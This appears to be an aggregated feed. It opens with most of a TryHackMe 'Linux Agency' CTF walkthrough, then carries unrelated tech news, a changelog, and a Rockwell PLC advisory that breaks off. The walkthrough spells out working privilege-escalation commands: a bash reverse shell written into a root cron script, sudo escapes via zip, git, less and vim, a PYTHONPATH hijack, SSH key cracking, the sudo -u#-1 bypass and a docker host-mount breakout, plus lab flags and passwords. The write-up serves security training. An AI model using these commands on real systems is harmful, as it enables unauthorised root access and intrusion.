result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"
Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html
su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}
💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.
🎯 Mission 16 — Hex → ASCII
# As mission15:
cat /home/mission15/flag.txt | xxd -r -p
xxd -r -p converts a raw hex string directly back to ASCII.
su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}
💡 What we learned: Hex decoding. xxd dumps hex (-p for plain hex), and with -r it reverses the process.
🎯 Mission 17 — Execute Permission
# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flag
su mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}
🎯 Mission 18 — Java
# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java      # Compile
java flag            # Run
su mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}
💡 What we learned: Java compilation workflow: javac compiles .java → .class, then java runs the class.
🎯 Mission 19 — Ruby
# As mission18:
ruby /home/mission18/flag.rb
su mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}
🎯 Mission 20 — C Language
# As mission19:
cd /home/mission19/
gcc flag.c -o flag   # Compile
./flag               # Run
su mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}
💡 What we learned: C compilation: gcc source.c -o output_name then ./output_name to execute.
🎯 Mission 21 — Python
# As mission20:
python3 /home/mission20/flag.py
su mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}
🎯 Mission 22 — Restricted Shell Escape (script)
When you log in as mission21, you’re dropped into a restricted shell. Escape using:
script -qc /bin/bash /dev/null
This spawns a full bash shell. Now check .bashrc:
cat ~/.bashrc
# You'll find a Base64-encoded string
echo '' | base64 -d
su mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}
💡 What we learned: Restricted shell escape using the script command, which opens a new terminal session. Always check .bashrc and .bash_profile — attackers hide data there, and defenders do too.
🎯 Mission 23 — Python Interpreter Shell Escape
Logging in as mission22 drops you into a Python REPL. Escape to bash:
import pty
pty.spawn("/bin/bash")
Now read the flag:
cat /home/mission22/flag.txt
su mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}
💡 What we learned: Python pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!
🎯 Mission 24 — Virtual Host + cURL
# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep mission
su mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}
💡 What we learned: Virtual hosting — the /etc/hosts file acts as a local DNS resolver. In real engagements, always check /etc/hosts for internal hostnames that reveal additional attack surface.
🎯 Mission 25 — Binary Analysis + viminfo
# As mission24:
ls /home/mission24/
file bribe              # Check the file type
./bribe                 # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfo
su mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}
💡 What we learned: The file command identifies file types regardless of extension. .viminfo is a hidden file storing Vim history — always run ls -la to catch hidden files!
🎯 Mission 26 — PATH Manipulation
Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.
echo $PATH
# Empty or wrong PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txt
su mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}
💡 What we learned: The $PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.
🎯 Mission 27 — Steganography with strings
# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpg
strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.
su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}
💡 What we learned: Basic steganography — data hidden inside image files. strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.
🎯 Mission 28 — Absurdly Long Filename
# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
Yes, the filename is exactly that long. less handles it fine.
su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}
🎯 Mission 29 — Ruby Interpreter + Reverse String
Logging in as mission28 drops you into a Ruby REPL.
Option 1 — Escape to shell:
exec "/bin/bash"
Option 2 — Read the file directly from Ruby:
Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlines
The flag is written in reverse! You’ll see something like:
'}1fff2ad47eb52e68523621b8d50b2918{92noissim'
Reverse it:
'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse
su mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}
💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename txt.galf — that's flag.txt reversed!
🎯 Mission 30 — Bludit CMS Enumeration
# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/
The flag is buried inside Bludit CMS’s file structure.
su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}
🎯 Viktor — Git History
# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager log
Browse the git commit history — the flag is hidden in there.
su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}
💡 What we learned: git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.
🔓 Task 4: Privilege Escalation
You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.
🎯 Dalia — Cron Job Exploitation
# As viktor:
cat /etc/crontab
Output:
* * * * * root bash /opt/scripts/47.sh
Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:
cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!
Step 1: Create your reverse shell payload:
vim /tmp/eop.sh
Contents:
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1
Step 2: Base64-encode it and overwrite the cron script:
cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh
Step 3: Set up your listener:
nc -nlvp 9999
Wait up to 60 seconds. The cron job fires and you get a shell as dalia:
# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txt
Upgrade the shell (important for stability):
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fg
Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}
💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate /etc/crontab, /etc/cron.d/, and /var/spool/cron/.
🎯 Silvio — sudo + zip (GTFOBins)
# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvio
From GTFOBins — zip sudo escape:
TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
id
# uid=... (silvio)
cat /home/silvio/flag.txt
Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}
💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.
🎯 Reza — sudo + git (GTFOBins)
# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza
GTFOBins git sudo escape (uses PAGER environment variable):
sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
id
# uid=... (reza)
cat /home/reza/flag.txt
Flag: reza{2f1901644eda75306f3142d837b80d3e}
💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.
🎯 Jordan — PYTHONPATH Hijacking
# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan
Run the script:
sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'
The script imports a module called shop which doesn't exist. We can create it in a directory we control:
Step 1: Create a malicious shop module:
mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py
Step 2: Override PYTHONPATH so Python finds our module first:
sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py
id
# uid=... (jordan)
cat /home/jordan/flag.txt
Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}
💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.
🎯 Ken — sudo + less (GTFOBins)
# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken
sudo -u ken /usr/bin/less /etc/profile
Once less opens, type ! followed by:
!/bin/sh
Press Enter — you drop into a shell as ken.
id
cat /home/ken/flag.txt
Flag: ken{4115bf456d1aaf012ed4550c418ba99f}
🎯 Sean — sudo + vim (GTFOBins)
# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean
sudo -u sean vim -c ':!/bin/sh'
The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.
id
cat /home/sean/flag.txt
Flag: sean{4c5685f4db7966a43cf8e95859801281}
💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.
🎯 Penelope — Password Hidden in Base64
# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"
su penelope
# Password: p3nelope
cat /home/penelope/flag.txt
Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}
🎯 Maya — SUID base64 (GTFOBins)
# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!
GTFOBins SUID base64 exploit — read files as the binary’s owner:
LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d
Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}
💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.
🎯 Robert — SSH Private Key Cracking
# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found
Step 1: Copy the private key to your local machine (new terminal tab):
scp maya@:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert
Step 2: Convert the key to a crackable hash:
ssh2john id_rsa_robert > robert_ssh_hash.txt
Step 3: Crack it with John the Ripper:
john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Result: industryweapon
Step 4: Find Robert’s SSH port on the target:
# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening
Step 5: Connect:
ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt
Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}
💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.
👑 Root — Two-Stage Escalation
Stage 1: CVE-2019–14287 (Sudo User ID Bypass)
# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!
How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.
cd /root
ls
Stage 2: Docker Group → Root (root.txt)
# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists
Mount the host filesystem into a container and chroot into it:
./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt
Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}
💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.
🏆 Flags Summary
User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout
🧠 Key Takeaways
Linux Fundamentals:
ls -la always — hidden files, permissions at a glance
find and grep -r for wide enumeration
env for environment variable inspection
file to identify file types regardless of extension
strings to extract readable data from binaries
Encoding & Decoding:
Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
Reversed strings — check file content and filenames alike
Scripting Languages:
Python: pty.spawn("/bin/bash") for shell upgrade
Ruby: exec "/bin/bash" or Dir/File for file ops
Java: javac → java, C: gcc → ./binary
Privilege Escalation Checklist:
sudo -l → GTFOBins
find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
id → check group memberships (docker!)
Check $PATH, env variables, writable directories in PATH
📚 Resources
🔗 GTFOBins — sudo/SUID binary exploitation reference
🔗 PayloadsAllTheThings — Reverse Shell Cheatsheet
🔗 Exploit-DB: CVE-2019–14287
🔗 TryHackMe: Sudo Security Bypass
🔗 HackTricks: Docker Breakout
🔗 RapidTables Converter
💬 Final Thoughts
Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.
If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.
Happy Hacking! 🐧
Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp
If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.
TryHackMe — Linux Agency | Complete Write-Up & Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


Android-Backup: Google informiert alle Nutzer über das Aus des Gratis-Speichers, neue Regeln und Prognose
Fri, 17 Jul 2026 09:03:17 +0200

Google nimmt große Änderungen am Android-Backup vor und informiert jetzt alle Nutzer über die neuen Funktionen, das Ende des Gratis-Speichers und auch über die Auswirkungen dieser Anpassungen. Es lohnt sich, in die von Google in diesen Tagen versendete E-Mail einmal hereinzuschauen, denn sie enthält eine wichtige Information. Hier findet ihr alle Infos rund um das neue Backup.
Mehr lesen: Android-Backup: Google informiert alle Nutzer über das Aus des Gratis-Speichers, neue Regeln und Prognose


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android-Backup: Google informiert alle Nutzer über das Aus des Gratis-Speichers, neue Regeln und Prognose erschien zuerst auf GoogleWatchBlog.


release-publish/d8dd59bf8f60-20260717
Fri, 17 Jul 2026 08:02:10 +0200
release tooling for v2026.7.2-beta.2 npm bootstrap recovery


Windows 11’s biggest summer update just landed with 5 new features, but you won’t get them all today
Fri, 17 Jul 2026 05:26:19 +0200
Windows 11's July 2026 update (KB5101650) brings Point-in-time Restore, calendar update pausing, quieter Widgets, and Screen Tint to every PC. Here's how each feature works.
The post Windows 11’s biggest summer update just landed with 5 new features, but you won’t get them all today appeared first on Windows Latest


CVE-2026-58598 | Microsoft Windows up to 11 26H1 Backup Engine race condition (EUVD-2026-45061)
Fri, 17 Jul 2026 05:07:47 +0200
A vulnerability categorized as problematic has been discovered in Microsoft Windows 10 21H2/10 22H2/11 24H2/11 25H2/11 26H1. This impacts an unknown function of the component Backup Engine. The manipulation results in race condition.

This vulnerability is cataloged as CVE-2026-58598. The attack must be initiated from a local position. There is no exploit available.


v2.1.212
Fri, 17 Jul 2026 02:31:39 +0200
What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt (pass --yes to skip)
Added a session-wide limit on WebSearch tool calls (default 200, tunable via CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION) to stop runaway search loops
Added a per-session cap on subagent spawns (default 200, override with CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION) to stop runaway delegation loops; /clear resets the budget
MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS
Typing /resume in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session
Fixed plan mode auto-running file-modifying Bash commands (e.g. touch, rm) without a permission prompt or SDK canUseTool callback
Fixed worktree creation following a repository-committed symlink at .claude/worktrees, which could create files outside the repository
Fixed a continue:false hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections
Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143
Fixed /background and claude --bg failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7
Fixed shell mode (!) not executing commands containing file paths while the path autocomplete popup was open
Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji
Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the ? help overlay
Fixed /ultrareview rejecting PR references like #123, PR 123, and pasted PR URLs; error hints now name the command you actually typed
Fixed /ultrareview  not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos
Fixed /ultrareview skipping the billing confirmation in a new conversation after /clear
Fixed /ultrareview's "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands
Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning
Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session
Fixed ExitWorktree failing with "no active EnterWorktree session" after resuming a session with --continue/--resume in print/SDK mode
Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run
Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart
Fixed background sessions created with /fork losing their live-parent protection after a state write failure
Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart
Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session
Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long
Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode
Fixed diff previews losing their line numbers and +/- markers in narrow layouts
Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143
Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding
Fixed OTLP event log records missing trace_id/span_id when TRACEPARENT is set in SDK/headless mode
Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause
Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded
Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff
Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)
Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait
Reduced token usage in inter-agent messaging: SendMessage bodies are no longer duplicated into replayed history and tool results
Changed /fork to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view
Changed bare /btw to reopen the side-question panel on your most recent exchange so you can browse earlier answers
Changed the ← footer hint to pulse N done for a moment when a background agent finishes while nothing needs your input
Deprecated the Task tool's mode parameter (now ignored); subagents inherit the parent session's permission mode by default
Changed Enterprise forceLoginMethod to be enforced for VS Code extension, SDK, setup-token, and install-github-app logins, not just the terminal
Changed session transcripts to record the reasoning effort level on each assistant message
Changed headless/SDK sessions to apply a set_model control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn
Changed agent view / claude agents --json: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"
Updated the auth status panel title from "Cloud authentication" to "Authentication"
Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically



Carbon Copy Cloner 7.1.6
Fri, 17 Jul 2026 00:23:53 +0200
Drive-cloning and backup utility brings improvements to the Snapshot Comparison Browser. ($49.99 new, free update, 27.7 MB, macOS 13+)


The BIOS Password Mistake
Fri, 17 Jul 2026 00:18:08 +0200
Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 
Not every "BIOS password" is actually the same thing.



In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different layer of the system.



Confusing these terms can lead to incorrect troubleshooting, mistaken security assumptions, or unnecessary recovery efforts. Knowing what each password actually protects makes it much easier to understand why a system is locked—or what kind of credential is really being requested.



The conversation also highlights a common misconception: BitLocker recovery is separate from firmware authentication.



Which password type do you think creates the most confusion for IT professionals and everyday users?



Subscribe to our podcasts: https://securityweekly.com/subscribe



#BIOS #TechExplained #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec



Two Scattered Spider Hackers Get 5.5 Years Each for £29 Million TfL Hack
Thu, 16 Jul 2026 20:20:58 +0200
Owen Flowers, 18, and Thalha Jubair, 20, were each sentenced to five and a half years at Woolwich Crown Court on Thursday, 16 July 2026, for the 2024 hack of Transport for London.

The attack left 148 TfL systems inoperable and forced all 27,000 of the transport authority's employees into an office to get their passwords reset in person. Both the NCA and the CPS put TfL's losses and recovery


Microsoft rolls out 6 helpful new Windows 11 Insider features for early July, including one built to protect your PC from disaster
Thu, 16 Jul 2026 19:26:40 +0200
Windows 11 Insider builds for early July add Cloud rebuild, Windows Search changes, Taskbar positioning, Pro Education upgrades, and recovery improvements.


Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix
Thu, 16 Jul 2026 18:41:59 +0200
View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to cause a denial-of-service condition.
The following versions of Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix are affected:

CompactLogix 5370 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
Compact GuardLogix 5370 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
ControlLogix 5570 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
GuardLogix 5570 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5380 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5380 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
Compact GuardLogix 5380 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
Compact GuardLogix 5380 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5480 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5480 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
ControlLogix 5580 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
ControlLogix 5580 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
GuardLogix 5580 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
GuardLogix 5580 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5380 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
Compact GuardLogix 5380 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
CompactLogix 5480 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
ControlLogix 5580 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
GuardLogix 5580 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)





CVSS
Vendor
Equipment
Vulnerabilities




v3 8.6
Rockwell Automation
Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: United States


Vulnerabilities

Expand All +

CVE-2025-12011

A denial-of-service issue exists in 5370/5570 controllers. This vulnerability could potentially allow a remote user to load an invalid project, causing the device to enter a major non-recoverable fault (MNRF).
View CVE Details

Affected Products
Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
Product Status:
known_affected


Remediations
Vendor fix
Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
Compact GuardLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
ControlLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
GuardLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later
Vendor fix
ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
8.6
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H


4.0
9.2
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H







CVE-2025-12012

A denial-of-service issue exists in 5380/5480/5580 controllers. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major nonrecoverable fault (MNRF).
View CVE Details

Affected Products
Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix

Vendor:
Rockwell Automation
Product Version:
